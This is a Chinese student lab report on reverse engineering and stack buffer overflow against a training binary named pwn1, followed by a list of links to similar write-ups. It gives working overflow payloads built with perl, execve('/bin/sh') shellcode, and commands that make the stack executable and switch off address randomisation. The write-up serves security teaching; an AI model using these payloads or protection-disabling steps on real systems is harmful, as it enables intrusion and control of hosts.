逆向及Bof基础实践

目录

一、实践目标
二、实验操作和步骤

1、直接修改程序机器指令

2、通过构造输入参数,造成BOF攻击。

3、注入Shellcode并执行

三、实验总结
四、实验遇到的错误和问题

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    1. 运行原本不可访问的代码片段
    2. 强行修改程序执行流
    3. 以及注入运行任意代码。

基础知识

1. Linux基本操作
  • 管道|,表示上一条指令的输入为下一条指令的输出。
  • 重定向>,将字符输入某个文件。
  • vim编辑器的使用。
2. 理解Bof原理涉及的基础知识
  • EBP为栈底指针,ESP为栈顶指针,EIP存放下一条执行的CPU指令。
  • 堆栈的生长方向与内存生长方向相反,故堆栈的顶部内存地址小。
  • 汇编指令call表转移,跳转,机器指令为e8;指令ret其实也是跳转,返回,机器指令为c3。
  • gdb调试的使用
3. 需要描述的内容

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

反汇编文件20165114pwn后,可在其中发现这几条汇编指令的机器码

由此可知:

  • 汇编指令nop 的机器码为90,即空操作,可用来延时;
  • 汇编指令jne 的机器码为75,条件转移指令,当零标志z=0则跳转,为1则执行下一条指令;
  • 汇编指令je 的机器码为74,条件转移指令,当零标志z=1则跳转,为0则执行下一条指令,与jne相反;
  • 汇编指令jmp 的机器码为eb,无条件转移,跳转;
  • 汇编指令cmp的机器码为39,对两数进行相减,进行比较;

(2)掌握反汇编与十六进制编程器

反汇编指令objdump

objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

  • -a

    显示档案库的成员信息,类似ls -l将lib*.a的信息列出。
  • -d

    从objfile中反汇编那些特定指令机器码的section。
  • -D

    与 -d 类似,但反汇编所有section.

(3)能正确修改机器指令改变程序执行流程

(4)能正确构造payload进行bof攻击

见下文操作步骤。

二、实验操作和步骤

1、直接修改程序机器指令

将机器指令修改,使原本跳转入foo函数的流程,直接跳到getshell函数,获得shell。

(1)反汇编:objdump -d 20165114pwn | more,查看汇编指令,理解该程序,为下一步做准备,下图为其中部分核心代码。

其中的e8 d7ffff指令为跳转至foo函数,直接通过编辑该文件修改其为e8 c3ffff,使其跳转到getshell函数,具体指令步骤如下:

(2)vim 20165114pwn,进入文件修改机器指令,可以看到一些乱码。

(3)接下来把乱码转换为十六进制机器指令。按下ESC键,输入:%!xxd 修改为十六进制模式,再进行编辑。

(4)查找要修改的内容:/e8 d7ff

(5)使用vim编辑器将d7修改c3

(6)转换十六进制为原格式::%xxd -r

(7)保存修改并退出::wq

(8)再次反汇编,查看是否修改成功,发现已经成功修改。

(9)运行20165114pwn文件,测试是否攻击成功。

成功了!


2、通过构造输入参数,造成BOF攻击。

2.1反汇编,了解程序的基本功能,与之前相同,此处不再赘述。

2.2寻找存放返回地址的位置的内存地址,覆盖上getshell开头的内存地址,使其无法返回main函数,而是跳入我们的getshell,获得shell。

foo函数占28个字节,ebp占据4个字节,故返回地址在32个字节之后,这里我们通过输入数字来定位返回地址的值。

步骤:

(1)复制文件cp pwn1 20165114pwn_2

(2)进入调试gdb 20165114pwn_2,以查看返回地址的位置。

(3)(gdb)r,运行该文件,输入1111111122222222333333334444444455555555,将会输出1111111122222222333333334444444455555555,因为该程序功能即为输出刚刚输入的值。

(4)查看各寄存器的状态(gdb)info r,其中eip寄存器中为0x35353535,其中35为5的ascii值的十六进制表示,即可初步确定返回地址的值为输入前四个5的位置,注入bof时将这4个位置填入getshell的内存地址即可覆盖至正确位置。

(5)再次确认位置,输入指令(gdb)r,运行该文件,此次输入1111111122222222333333334444444412345678,准确定位。

(6)查看各寄存器的状态(gdb)info r,其中eip寄存器中为0x34333231,其中34、33、32、31分别为4、3、2、1的ascii值的十六进制表示,由于是小端模式,字节序倒放。确认了返回地址的位置。

(7)(gdb)q,退出debug。

2.3获得返回地址的位置后,构造字符串并攻击缓冲区。

(8)开始反汇编已知getshell的内存地址为0804847d,生成包括该地址的一个文件,再放入20165114pwn_2文件,为之后能成功实现bof溢出攻击。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input

(9)查看修改后的文件的十六进制机器指令:xxd input,发现指令7d84 0408在32个字节后的位置。

(10)(cat input;cat) | ./20165114pwn_2,将input文件中的内容注入并执行20165114pwn_2文件,发现成功获得shell,可输入指令并得到正确回应。


3、注入Shellcode并执行

3.1获取一段shellcode

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

以下实践使用学姐的文章Shellcode入门中生成的shellcode。如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\


3.2准备工作

修改一些设置,只有修改过后才能实现shell注入并成功执行噢

1. apt-get install execstack //安装execstack命令
2. execstack -s pwn1 //设置堆栈可执行
3. execstack -q pwn1 //查询文件的堆栈是否可执行
4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

下图为我安装execstack命令和设置的操作。


3.3构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:

    ①nop+shellcode+retaddr

    ②retaddr+nop+shellcode

    nop的作用:

    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我在实验中实现了第二种结构的成功注入,即anything+retaddr+nop+shellcode结构。

此时,shellcode开头处的地址=返回地址+4字节,我们需要定位返回地址,将shellcode开头地址覆盖给返回地址,以实现跳转入我们的shellcode代码的目的。

(1)打开终端,输入如下指令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode

其中:

  • "A" x 32为填充的内容,即为上述的anything。
  • \x04\x03\x02\x01\用来覆盖到堆栈上返回地址的位置,我们需要在之后改为shellcode的地址。
  • x90为Nop指令,作为填充滑行,之后为shellcode。

(2)在此终端继续输入指令,注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3,回车。

(3)打开另一个终端,进行调试,寻找返回地址。

  1. ps -ef | grep 20165114pwn_3,找到该进程号为6731.
  2. gdb,进入调试。

3.(gdb)attach 6731,attach到已启动的进程上。

4.(gdb)disassemble foo,反汇编foo函数。

5.(gdb)break *0xx80484ae,设置断点,目的查看返回地址。

6.(gdb)c,继续。

(4)当出现continuing时,在另一个终端按下回车(如果提前按下会出现错误!!!)。

(5)返回正在进行调试的终端:

  1. (gdb)info r esp,查看栈顶指针指向的内存地址。
  2. x/16x 0xffffd20c

(6)查看该内存地址的内容。发现其为0x01020304,找到返回地址的位置了,可以推出shellcode的地址为0x0ffffd210

(7)在终端中输入指令,将原来的\x04\x03\x02\x01\改为\x10\xd2\xff\xff\,即再次输入指令:

perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode

  • xxd 20165114_shellcode,查看此时修改后内存地址是否正确,如下图所示。
  • 重新注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3
  • 回车后发现成功了!!!


三、实验总结

3.1实验收获与感想

  • 对缓冲区溢出有了更深的理解,也感觉到了漏洞的危害性非常大。发现经过设计,缓冲区溢出可以实现非常强大的功能。

  • 这次实验让我意识到,在扎实的理论基础上的创新和想法是非常重要的,缓冲区溢出的巧妙之处在于创新地放入了shellcode,可以自由控制该主机,达到自己的目的。当然其中涉及了汇编语言、机器指令、各种有关计算机的基础知识等等,我也意识到之前的各种基础课程都是十分必要而重要的,通过知识的积累和沉淀,才能够进行创造和攻击,往往综合能力依赖各个方面的汇总。

3.2什么是漏洞?漏洞有什么危害?

  • 经过这次实验,我感觉漏洞并不是设计时出现的重大纰漏,而是由于某方面考虑不够全面和严谨,导致攻击者有空可钻的问题。在不仔细思考的条件下,可能不会被发现,但是攻击者可能巧妙地利用这个特性或者特征,实现一些危害系统安全、影响使用者的功能。是一些被攻击者发现的可以实现不良目的的一些巧妙的问题。

  • 漏洞会导致很多危害,像本实验注入shellcode就可导致黑客实现任意操作,被黑客控制,黑客甚至能拿到超级管理员权限,危害很大,其中包括数据丢失和篡改、隐私泄露、危害系统安全、导致软硬件受损。


四、实验遇到的错误和问题

错误一:

由于在更改主机名时,我在/etc/sysconfig/network文件中无法找到HOSTNAME,只更改了/etc/hosts文件,之后出现了如图的提示,重启后问题可以解决,但是并没有成功修改主机名,于是我使用指令hostname daiqiaoyu,可修改主机名,但重启后仍会变为kali。

错误二:

运用实验指导中的第一种方法,即nop+shellcode+retaddr结构,会发现最终出现段错误的提示,无法成功,与实验指导遇到的问题相同,应该是寻找返回地址时定位出现了问题,没有正确找到返回地址的值,覆盖也就出现了错误。后面第二种结构可成功。

错误三:

提前回车,在注入shellcode实验中,寻找shellcode的内存地址时,进行调试,在一个终端输入指令(cat 20165114_shellcode;cat) | ./20165114pwn_3并回车后,此时不能再次回车,需要在另一个终端中开启gdb,在输入(gdb)r并出现continuing的提示后,才能再次返回该终端按下回车,若提前回车会出现上图情况并可能后续失败,无法找到返回地址。

错误四:

低级错误之,输入的第15个字符--标点符号为中文字符,而不是英文,导致报错,修改后可继续实验。

2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础的更多相关文章

  1. 20145321《网络对抗技术》逆向与Bof基础

    20145321<网络对抗技术>逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  2. 20145337《网络对抗技术》逆向及BOF基础

    20145337<网络对抗技术>逆向及BOF基础 实践目标 操作可执行文件pwn1,通过学习两种方法,使main函数直接执行getshall,越过foo函数. 实践内容 手工修改可执行文件 ...

  3. 20145302张薇 《网络对抗技术》逆向及BOF基础实践

    20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...

  4. 20145328 《网络对抗技术》逆向及Bof基础实践

    20145328 <网络对抗技术>逆向及Bof基础实践 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  5. 20145210姚思羽《网络对抗技术》逆向及Bof基础实践

    20145210姚思羽<网络对抗技术>逆向及Bof基础实践 实践目标 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo ...

  6. 20145236《网络对抗》Exp1 逆向及Bof基础

    20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...

  7. 20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础

    目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定 ...

  8. 20145329 《网络对抗技术》 逆向及Bof基础实验

    1.实验内容 本次实践的对象是一个名为20145329的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串.该程序同时包含另一个代码片段,ge ...

  9. 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践

    20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...

  10. 网络对抗实验一 逆向及Bof基础实践

    网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...

随机推荐

  1. SurvivalShooter学习笔记(六.玩家生命)

    需求: 玩家有初始生命: 被敌人攻击后:掉血,播放受击音效,红屏(用UI图片做)闪烁提示,UI面板刷新生命 直至死亡:死亡播放死亡音效,游戏结束: 1.变量: 玩家生命 public int star ...

  2. 《从零开始学Swift》学习笔记(Day 56)——命名规范Swift编码规范之命名规范

    原创文章,欢迎转载.转载请注明:关东升的博客 程序代码中到处都是自己定义的名字,取一个有样并且符合规范的名字非常重要. 命名方法很多,但是比较有名的,广泛接受命名法有: 匈牙利命名,一般只是命名变量, ...

  3. 学习使用turtlebot2——安装ROS Indigo系统

    最近在学习使用turtlebot2,特此做一些学习记录. 安装ROS前要先决定自己电脑的Ubuntu(乌班图)系统.现在学习ROS常使用的Ubuntu系统有Ubuntu 16.04 和Ubuntu14 ...

  4. 下载flv格式视频

    我们再看flash plaer播放视频时,有些时候需要下载,无奈找不到下载的按钮.这时,我们可以用以下的方式来进行下载. 其它格式估计也是有迹可循,大家仔细看看网页源代码,看到类似于这种地址,看到有相 ...

  5. java反射——构造方法

    大家都知道反射技术在Java里面时非常重要的一个技术点,因为Java好多框架的编写都是基于反射的,别的不多说,spring框架里面的IOC就是基于反射实现.那么什么是反射呢?JAVA反射机制是在运行状 ...

  6. 接口测试工具 — jmeter(参数化)

    1.用户定义的变量 添加一个用户定义的变量 添加变量值 2.函数生成器 函数生成 随机数生成 取当前时间 3.从文件中读取 1)新建一个TXT文档,录入数据 2)读取文件 3)使用数据,用 ${pho ...

  7. 我的Android进阶之旅------>关于使用Android Studio替换App的launcher图标之后仍然显示默认的ic_launcher图标的解决方法

    前言 最近做了一个App,之前开发该App的时候一直以来都是默认的launcher图标启动的, 今天美工换了一个App的launcher 图标,因此在Android Studio中将默认的lanche ...

  8. Deep Learning -- 数据增强

    数据增强 在图像的深度学习中,为了丰富图像训练集,更好的提取图像特征,泛化模型(防止模型过拟合),一般都会对数据图像进行数据增强,数据增强,常用的方式,就是旋转图像,剪切图像,改变图像色差,扭曲图像特 ...

  9. spring 整合mybatis找不到${jdbc.driverClass}

    1.检查是否设置了mapper扫描org.mybatis.spring.mapper.MapperScannerConfigurer类 在spring里使用org.mybatis.spring.map ...

  10. Linux学习笔记—文件与文件系统的压缩与打包(转载)

    压缩文件的用途与技术 例如,计算机都是以byte单位来计量的,1byte占8bit.如果存储数字1,那么1byte就会空出7bit.采用一定的计算方式,压缩这些空间可以大大降低文件存储. Linux系 ...